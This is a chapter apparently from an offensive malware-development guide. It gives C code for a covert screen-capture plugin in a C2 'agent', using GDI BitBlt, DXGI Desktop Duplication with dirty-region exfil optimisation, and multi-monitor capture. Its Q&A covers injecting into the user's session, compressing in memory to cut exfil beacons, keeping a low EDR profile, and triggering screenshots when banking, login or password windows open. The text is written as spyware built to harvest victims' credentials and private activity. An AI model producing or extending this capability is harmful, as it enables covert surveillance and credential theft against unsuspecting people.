Chapter 73

Screen Capture: Full Coverage

Screen capture is one of the highest-value surveillance capabilities: a single screenshot showing an open document, an email being composed, a banking portal, or a credentials manager confirms what no keylog can infer. This chapter covers the full spectrum — GDI BitBlt (classic, works everywhere), the Desktop Duplication API (DXGI, the modern high-performance path), changed-region capture for efficient periodic snapshots, and multi-monitor support. We also cover how to compress output in memory without writing anything to disk.

Screenshot Methods Compared

Two main paths: GDI (compatible) vs DXGI (high performance)
  GDI (BitBlt method)
  ─────────────────────────────────────────────────────────────────────────
  How:  GetDC(NULL) → CreateCompatibleDC/Bitmap → BitBlt → GetDIBits
  Pros: Works on ALL Windows versions, every session, no GPU requirement
        Works even in Remote Desktop sessions
        Simple, minimal dependencies
  Cons: Copies entire screen to system RAM via GDI — slow for full HD+
        Cannot capture hardware overlay content (DRM-protected video)
        CPU-intensive for high-frequency capture (screen recording)

  DXGI Desktop Duplication API (Windows 8+)
  ─────────────────────────────────────────────────────────────────────────
  How:  D3D11 device → IDXGIOutput1::DuplicateOutput → AcquireNextFrame
  Pros: GPU-based capture — extremely fast (< 1ms for 4K frame)
        Returns only dirty/changed regions → efficient change detection
        Can capture hardware overlays (not DRM but overlay compositing)
        Designed for screen recorders — optimized kernel path
  Cons: Requires Windows 8+, GPU with DXGI 1.2
        Must run in the same session as the display (Session 0 exclusion)
        More setup code (D3D11 device initialization)

  RECOMMENDATION:
    On-demand screenshot:    GDI BitBlt — simpler, no dependencies
    Periodic monitoring:     DXGI with dirty-region optimization
    Screen recording:        DXGI → encode frames → MJPEG/H.264 stream

GDI BitBlt Screenshot

/* screenshot_gdi.c — Full-screen capture using GDI, output as raw BMP in memory */

#include <windows.h>

typedef struct {
    BYTE *data;     /* Raw bitmap data */
    DWORD width;
    DWORD height;
    DWORD data_len;
} ScreenCapture;

/* Capture the full desktop (all monitors combined) into a raw BGRA buffer */
BOOL screen_capture_gdi(ScreenCapture *cap) {
    /* GetDC(NULL) = DC for the entire virtual screen (all monitors) */
    HDC hScreen = GetDC(NULL);
    if (!hScreen) return FALSE;

    /* Virtual screen coordinates span all monitors */
    int x      = GetSystemMetrics(SM_XVIRTUALSCREEN);
    int y      = GetSystemMetrics(SM_YVIRTUALSCREEN);
    int width  = GetSystemMetrics(SM_CXVIRTUALSCREEN);
    int height = GetSystemMetrics(SM_CYVIRTUALSCREEN);

    HDC     hMemDC  = CreateCompatibleDC(hScreen);
    HBITMAP hBitmap = CreateCompatibleBitmap(hScreen, width, height);
    SelectObject(hMemDC, hBitmap);

    /* BitBlt: copy screen pixels into our memory DC */
    BitBlt(hMemDC, 0, 0, width, height, hScreen, x, y, SRCCOPY);

    /* Extract raw pixel data */
    BITMAPINFOHEADER bih = {0};
    bih.biSize        = sizeof(BITMAPINFOHEADER);
    bih.biWidth       = width;
    bih.biHeight      = -height;   /* Negative = top-down row order */
    bih.biPlanes      = 1;
    bih.biBitCount    = 32;        /* 32-bit BGRA */
    bih.biCompression = BI_RGB;

    DWORD pixels_size = width * height * 4;
    BYTE *pixels = (BYTE*)VirtualAlloc(NULL, pixels_size,
                                        MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!pixels) goto cleanup;

    GetDIBits(hMemDC, hBitmap, 0, height, pixels, (BITMAPINFO*)&bih, DIB_RGB_COLORS);

    cap->data     = pixels;
    cap->width    = (DWORD)width;
    cap->height   = (DWORD)height;
    cap->data_len = pixels_size;

cleanup:
    DeleteObject(hBitmap);
    DeleteDC(hMemDC);
    ReleaseDC(NULL, hScreen);
    return pixels != NULL;
}

/* ── BMP file header — wrap raw pixels into a valid BMP for easy viewing ── */
/* 
 * We never write to disk, but the C2 server needs something it can display.
 * Prepend a 54-byte BMP header to the pixel data.
 */
BYTE* pixels_to_bmp(ScreenCapture *cap, DWORD *out_len) {
    DWORD file_size = 54 + cap->data_len;
    BYTE *bmp = (BYTE*)VirtualAlloc(NULL, file_size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    if (!bmp) return NULL;

    /* BITMAPFILEHEADER */
    *(WORD*)(bmp+0)  = 0x4D42;       /* 'BM' */
    *(DWORD*)(bmp+2) = file_size;
    *(DWORD*)(bmp+6) = 0;
    *(DWORD*)(bmp+10) = 54;          /* Pixel data offset */

    /* BITMAPINFOHEADER */
    *(DWORD*)(bmp+14) = 40;          /* Header size */
    *(LONG*)(bmp+18)  = (LONG)cap->width;
    *(LONG*)(bmp+22)  = -(LONG)cap->height;  /* top-down */
    *(WORD*)(bmp+26)  = 1;
    *(WORD*)(bmp+28)  = 32;
    *(DWORD*)(bmp+30) = BI_RGB;
    *(DWORD*)(bmp+34) = cap->data_len;

    memcpy(bmp + 54, cap->data, cap->data_len);
    *out_len = file_size;
    return bmp;
}

/* Plugin interface — called by agent core */
BOOL cap_start(PVOID params, DWORD params_len) {
    ScreenCapture sc = {0};
    if (!screen_capture_gdi(&sc)) return FALSE;

    DWORD bmp_len = 0;
    BYTE *bmp = pixels_to_bmp(&sc, &bmp_len);
    if (bmp) {
        /* (append to exfil buffer via agent core's append_result) */
        VirtualFree(bmp, 0, MEM_RELEASE);
    }
    VirtualFree(sc.data, 0, MEM_RELEASE);
    return TRUE;
}

DXGI Desktop Duplication (Changed Regions)

/* screenshot_dxgi.c — Desktop Duplication API with dirty-region optimization
   
   Key insight: AcquireNextFrame returns two things:
     1. A full-frame texture (the complete screen)
     2. A list of DirtyRects (regions that CHANGED since the last frame)
   
   For periodic monitoring (take screenshot every 5s), we can:
     - Only exfiltrate the changed regions if they're small
     - Send a full screenshot only when a large portion of the screen changed
   This can reduce exfil data by 80-95% when the screen is mostly static.
*/

#include <windows.h>
#include <d3d11.h>
#include <dxgi1_2.h>
#pragma comment(lib, "d3d11.lib")
#pragma comment(lib, "dxgi.lib")

typedef struct {
    ID3D11Device           *device;
    ID3D11DeviceContext    *context;
    IDXGIOutputDuplication *duplication;
    DXGI_OUTPUT_DESC        output_desc;
    UINT                    width;
    UINT                    height;
} DXGICapture;

BOOL dxgi_capture_init(DXGICapture *cap, int monitor_index) {
    D3D_FEATURE_LEVEL fl;
    HRESULT hr = D3D11CreateDevice(NULL, D3D_DRIVER_TYPE_HARDWARE, NULL,
                                    0, NULL, 0, D3D11_SDK_VERSION,
                                    &cap->device, &fl, &cap->context);
    if (FAILED(hr)) return FALSE;

    IDXGIDevice    *dxgi_dev    = NULL;
    IDXGIAdapter   *adapter     = NULL;
    IDXGIOutput    *output      = NULL;
    IDXGIOutput1   *output1     = NULL;

    cap->device->lpVtbl->QueryInterface(cap->device, &IID_IDXGIDevice,
                                         (void**)&dxgi_dev);
    dxgi_dev->lpVtbl->GetAdapter(dxgi_dev, &adapter);
    adapter->lpVtbl->EnumOutputs(adapter, monitor_index, &output);
    output->lpVtbl->GetDesc(output, &cap->output_desc);
    output->lpVtbl->QueryInterface(output, &IID_IDXGIOutput1, (void**)&output1);

    cap->width  = cap->output_desc.DesktopCoordinates.right
                - cap->output_desc.DesktopCoordinates.left;
    cap->height = cap->output_desc.DesktopCoordinates.bottom
                - cap->output_desc.DesktopCoordinates.top;

    hr = output1->lpVtbl->DuplicateOutput(output1, (IUnknown*)cap->device,
                                           &cap->duplication);
    /* Cleanup intermediate COM objects */
    if (output1) output1->lpVtbl->Release(output1);
    if (output)  output->lpVtbl->Release(output);
    if (adapter) adapter->lpVtbl->Release(adapter);
    if (dxgi_dev) dxgi_dev->lpVtbl->Release(dxgi_dev);
    return SUCCEEDED(hr);
}

/* Capture one frame and return dirty region info */
typedef struct {
    BYTE *full_frame_data;   /* Complete frame pixels (BGRA) */
    DWORD full_frame_len;
    RECT  dirty_rects[128];  /* Changed regions since last frame */
    UINT  dirty_rect_count;
    DWORD dirty_pixel_count; /* How many pixels actually changed */
} DXGIFrame;

BOOL dxgi_capture_frame(DXGICapture *cap, DXGIFrame *frame, DWORD timeout_ms) {
    IDXGIResource     *desktop_res = NULL;
    DXGI_OUTDUPL_FRAME_INFO frame_info = {0};
    
    HRESULT hr = cap->duplication->lpVtbl->AcquireNextFrame(
        cap->duplication, timeout_ms, &frame_info, &desktop_res);
    if (FAILED(hr)) return FALSE;

    /* Collect dirty rects — only changed regions */
    UINT dirty_buf_needed = 0;
    cap->duplication->lpVtbl->GetFrameDirtyRects(
        cap->duplication, 0, NULL, &dirty_buf_needed);
    
    UINT n_rects = dirty_buf_needed / sizeof(RECT);
    if (n_rects > 128) n_rects = 128;
    cap->duplication->lpVtbl->GetFrameDirtyRects(
        cap->duplication, dirty_buf_needed, frame->dirty_rects, &dirty_buf_needed);
    frame->dirty_rect_count = n_rects;

    /* Count dirty pixels */
    frame->dirty_pixel_count = 0;
    for (UINT i = 0; i < n_rects; i++) {
        RECT *r = &frame->dirty_rects[i];
        frame->dirty_pixel_count += (DWORD)((r->right - r->left) * (r->bottom - r->top));
    }

    /* Full frame: map the texture to CPU-accessible memory */
    /* (D3D11 texture readback — copy GPU texture to staging texture then map) */
    /* Simplified here — full implementation maps staging texture */
    
    desktop_res->lpVtbl->Release(desktop_res);
    cap->duplication->lpVtbl->ReleaseFrame(cap->duplication);
    return TRUE;
}

/* Smart capture decision: send full frame vs. dirty regions only */
BOOL dxgi_smart_capture(DXGICapture *cap) {
    DXGIFrame frame = {0};
    if (!dxgi_capture_frame(cap, &frame, 1000)) return FALSE;

    DWORD total_pixels = cap->width * cap->height;
    DWORD dirty_pct = (frame.dirty_pixel_count * 100) / total_pixels;
    
    if (dirty_pct > 60) {
        /* More than 60% of screen changed: send full frame */
        /* append_result(TASK_SCREENSHOT, frame.full_frame_data, frame.full_frame_len) */
        printf("[+] Full frame: %u%% of screen changed\n", dirty_pct);
    } else if (dirty_pct > 5) {
        /* Small change: encode and send only dirty rects */
        printf("[+] Dirty regions only: %u%% of screen changed (%u rects)\n",
               dirty_pct, frame.dirty_rect_count);
        /* Send dirty_rects array + cropped pixel data for each rect */
    } else {
        /* < 5% changed: screen mostly static, skip this frame */
        printf("[.] Screen static (%u%% dirty), skipping\n", dirty_pct);
    }
    
    if (frame.full_frame_data)
        VirtualFree(frame.full_frame_data, 0, MEM_RELEASE);
    return TRUE;
}

Multi-Monitor Support

/* Multi-monitor enumeration: capture each monitor separately */

typedef struct {
    HDC   hdc;
    HBITMAP bitmap;
    BYTE   *pixels;
    int     x, y, width, height;
    DWORD   data_len;
    WCHAR   device_name[32];
} MonitorCapture;

#define MAX_MONITORS 8
static MonitorCapture g_monitors[MAX_MONITORS];
static int            g_monitor_count = 0;

/* EnumDisplayMonitors callback */
static BOOL CALLBACK enum_monitor_proc(HMONITOR hmon, HDC hdc,
                                        LPRECT rect, LPARAM param) {
    if (g_monitor_count >= MAX_MONITORS) return FALSE;
    
    MONITORINFOEXA info = {0};
    info.cbSize = sizeof(info);
    GetMonitorInfoExA(hmon, (LPMONITORINFOEXA)&info);

    MonitorCapture *mc = &g_monitors[g_monitor_count++];
    mc->x      = info.rcMonitor.left;
    mc->y      = info.rcMonitor.top;
    mc->width  = info.rcMonitor.right  - info.rcMonitor.left;
    mc->height = info.rcMonitor.bottom - info.rcMonitor.top;
    /* Copy device name for labeling in the log */
    MultiByteToWideChar(CP_ACP, 0, info.szDevice, -1, mc->device_name, 32);

    /* Capture this monitor using GDI */
    HDC hScreen = GetDC(NULL);
    mc->hdc     = CreateCompatibleDC(hScreen);
    mc->bitmap  = CreateCompatibleBitmap(hScreen, mc->width, mc->height);
    SelectObject(mc->hdc, mc->bitmap);
    BitBlt(mc->hdc, 0, 0, mc->width, mc->height, hScreen, mc->x, mc->y, SRCCOPY);

    mc->data_len = mc->width * mc->height * 4;
    mc->pixels   = (BYTE*)VirtualAlloc(NULL, mc->data_len,
                                        MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
    BITMAPINFOHEADER bih = {.biSize=sizeof(bih), .biWidth=mc->width,
                             .biHeight=-(mc->height), .biPlanes=1,
                             .biBitCount=32, .biCompression=BI_RGB};
    GetDIBits(mc->hdc, mc->bitmap, 0, mc->height, mc->pixels,
              (BITMAPINFO*)&bih, DIB_RGB_COLORS);

    ReleaseDC(NULL, hScreen);
    return TRUE;  /* Continue enumeration */
}

void capture_all_monitors(void) {
    g_monitor_count = 0;
    EnumDisplayMonitors(NULL, NULL, enum_monitor_proc, 0);
    
    printf("[+] Captured %d monitor(s)\n", g_monitor_count);
    for (int i = 0; i < g_monitor_count; i++) {
        MonitorCapture *mc = &g_monitors[i];
        printf("    Monitor %d: %dx%d at (%d,%d), %u bytes\n",
               i, mc->width, mc->height, mc->x, mc->y, mc->data_len);
        /* Wrap in BMP header and queue for exfil */
    }
}

Questions & Answers

Why does DXGI Desktop Duplication fail in Session 0, and what's the workaround?

The Desktop Duplication API requires running in the same Windows desktop session as the display output you're duplicating. Interactive user sessions are Session 1+ (Session 1 for the first logged-in user). Windows services run in Session 0, which has no display. If your agent runs as a service (Session 0), DuplicateOutput returns DXGI_ERROR_NOT_CURRENTLY_AVAILABLE or DXGI_ERROR_ACCESS_DENIED because there's no desktop to duplicate in that session. The fix: inject a screenshot capability into a process running in the user's session (Session 1), where DuplicateOutput works. Alternatively, fall back to GDI BitBlt — GetDC(NULL) with the session Desktop HANDLE works across sessions if you create the DC in the right desktop context. Set the thread's desktop: OpenDesktop("default", ...) → SetThreadDesktop(hDesk) before calling GetDC. This lets Session 0 agents capture the Session 1 desktop via GDI.

How do you compress screenshot data in memory without writing files?

Windows includes zlib-compatible compression via Cabinet.dll (FCI/FDI) and the RtlCompressBuffer API (ntdll, no DLL import needed). For PNG-compatible compression: RtlCompressBuffer with COMPRESSION_FORMAT_LZNT1 gives ~3:1 compression on typical desktop screenshots (mostly solid-colored areas compress well). For proper PNG: use a static-linked miniz library (single-file, ~2500 lines of C) to produce valid PNG in a memory buffer. PNG compression ratios on typical screenshots: 1920×1080 raw = 8.3MB, PNG = 200-800KB (depending on desktop complexity), JPG at quality 80 = 100-300KB. Since screenshots go through chunked exfil at 64KB chunks, a 300KB JPEG takes 5 beacons vs. 130 beacons for the raw BMP. Always compress before queueing. If you can't use miniz, the GDI+ encoder (GdipSaveImageToStream) encodes to JPEG in a COM IStream backed by a GlobalAlloc buffer — stays entirely in memory.

Can a target detect that Desktop Duplication is active?

Yes. The IDXGIOutputDuplication interface is visible: any process can call IDXGIOutput1::DuplicateOutput on the same output — but only one duplication instance can exist per output at a time. If another process (like a legitimate screen recorder) tries to create a second duplication on the same output while yours is active, it gets DXGI_ERROR_NOT_CURRENTLY_AVAILABLE. This isn't detection in the security sense — it's more a functional conflict. From the EDR perspective: calling D3D11CreateDevice + DuplicateOutput is normal behavior (every screen recorder, every remote desktop client does this). It's not inherently suspicious unless combined with other indicators. The GDI BitBlt path has an even lower profile — it's equivalent to what Windows itself does for screenshots (the Win+PrintScreen path uses BitBlt internally).

How do you trigger a screenshot based on specific events (user opens a banking site) rather than on a timer?

Event-triggered screenshots are far more valuable than timer screenshots because you capture exactly the moment of interest. Trigger sources: (1) Window title monitoring — poll GetForegroundWindow() + GetWindowTextW() at 500ms intervals; trigger screenshot when title matches keywords like "bank", "login", "password", "PayPal", "account" etc. Maintains a keyword list updated from C2. (2) Process creation monitoring — hook CreateProcessInternalW or use WMI __InstanceCreationEvent on Win32_Process; when the target opens chrome.exe or a specific banking application, capture within the first 3 seconds. (3) Keylogger integration — the keylogger from Ch72 detects a context switch to a browser window with "Sign in" in the title; signal the screenshot module. (4) Clipboard event — when user copies something (AddClipboardFormatListener triggers), take a screenshot to see what they were copying from. These event-triggered patterns produce 10x more actionable intelligence per byte exfiltrated than blind timer-based capture.

How do you handle DRM-protected content — video players, streaming sites?

DRM-protected content (Netflix, Prime Video, Widevine-protected streams) uses hardware-protected video decode paths that write decoded frames only to protected GPU memory, intentionally preventing capture. GDI BitBlt and DXGI Desktop Duplication both return black frames for the DRM-protected window region — the kernel blocks the capture. Partial workarounds: (1) Capture the window chrome (title bar, controls) and surrounding context even if the content area is black — you can still see that the user is watching Netflix and what show. (2) On some systems/drivers, Protected Content settings may allow capture in organizational environments (enterprise laptops often disable DRM protection for IT compliance). (3) For audio: while video is DRM-protected, audio output goes through the audio mixer and is capturable via WASAPI loopback (Ch76) even when video is DRM-protected. You hear what they're watching even if you can't see it. Real intelligence comes from the window title, context, and audio combination.